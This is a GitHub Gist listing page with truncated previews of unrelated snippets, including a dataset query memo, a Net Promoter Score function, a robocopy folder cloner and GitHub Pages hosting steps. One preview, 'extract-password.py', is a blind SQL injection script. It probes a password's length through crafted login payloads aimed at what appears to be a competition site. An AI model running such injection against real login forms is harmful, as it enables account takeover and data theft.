Skip to content

Instantly share code, notes, and snippets.

@jshirius
jshirius / dataset_sample.py
Created May 9, 2020 06:43
pythonのdatasetのサンプル・like文の使い方
###########################################################
#datasetのサンプル
#like文の取得方法がすぐに見つからなかったのでメモ
###########################################################
import dataset
#公式のサンプル
#https://dataset.readthedocs.io/en/latest/quickstart.html
#Resume Phrase Matcher code
#importing all required libraries
import PyPDF2
import os
from os import listdir
from os.path import isfile, join
from io import StringIO
@pawlos
pawlos / cookie.py
Created October 5, 2017 09:19
Bruting through missing cookie byte
@pawlos
pawlos / extract-password.py
Last active February 18, 2019 11:46
Script to extract passwords
import requests
username = 'hacker'
for password_length in range(1,30):
password = "' or (username = '"+username+"' and LENGTH(password)="+str(password_length)+")-- "
result = requests.post('https://secretpanel.ecsm2016.cert.pl/login', data={'username': username, 'password':password})
if 'Logged in successfully' in result.text:
break
elif 'Internal Server Error' in result.text:
@fitzgeraldsteele
fitzgeraldsteele / net-promoter-score.py
Created November 7, 2013 21:13
A little python function to calculate the net promoter score from a list of ratings. Also wanted to practice doctests.
#!/usr/bin/env python
import sys
def netpromoterscore(scores):
"""
Calculates the netpromoter score of a list
The Net Promoter Score is obtained by asking customers a single question on a 0 to 10 rating scale:
'How likely is it that you would recommend our company to a friend or colleague?'
Based on their responses, customers are categorized into one of three groups:
Promoters (9-10 rating), Passives (7-8 rating), and Detractors (0-6 rating).
@russellpierce
russellpierce / cloneFolder.vbs
Last active January 22, 2021 14:22
Visual basic script to clone directories using robocopy as a back-end; code adapted from code originally developed by Rob van der Woude; Modification requires that grep be available at the launch location (earlier version does not: https://gist.github.com/drknexus/6132223/693faf00fa6a7a228a176c52446dc600f44f0aa0)
Option Explicit
Dim SD
Dim DD
Dim CMD, CMDRUN, CMDRUNPersist
Dim oShell, oShellOut
Dim Resp
Set oShell = WScript.CreateObject("WScript.Shell")
SD = BrowseFolder( "%userprofile%\documents", True, "Select source directory")
DD = BrowseFolder( "%userprofile%\documents", True, "Select destination directory")
@TylerFisher
TylerFisher / hosting-on-github.md
Last active July 21, 2024 05:51
Basic steps for hosting on Github

Hey there, apparently people are still using this Gist from 2013! It's out of date! Consult the Github docs.

Steps for Hosting a Website on GitHub

  1. Create a GitHub account on github.com.
  2. Download either [GitHub for Mac][1] or [GitHub for Windows][2], depending on your operating system. Open the app and log in using the account you just created.
  3. (On Mac): After you login, click advanced and make sure that your name and email are correct. Then, click "Install Command Line Tools", just in case you want to start using the command line later in life.
  4. Create a new repository in your GitHub application. Name it your-username.github.io. The name is very important. Note the folder that GitHub is saving the repository to. Make sure the "Push to GitHub?" box is checked.
  5. Move your website's files into the folder that GitHub just created when you made the repository. IMPORTANT: Your homepage HTML file must be called "index.html", and it must exist in the top-level
@aparrish
aparrish / facebook_app_token.py
Last active February 6, 2021 22:23
simple python script to fetch an access token for a Facebook application (not a user token)
# fetch an access token for a Facebook application
#
# run like so:
#
# $ python facebook_app_token.py --app_id=<your app id> --secret=<your secret>
#
# ... where <your app id> is your Facebook application ID, and <your secret>
# is the application secret for that application (both can be retrieved from
# the Facebook developer app)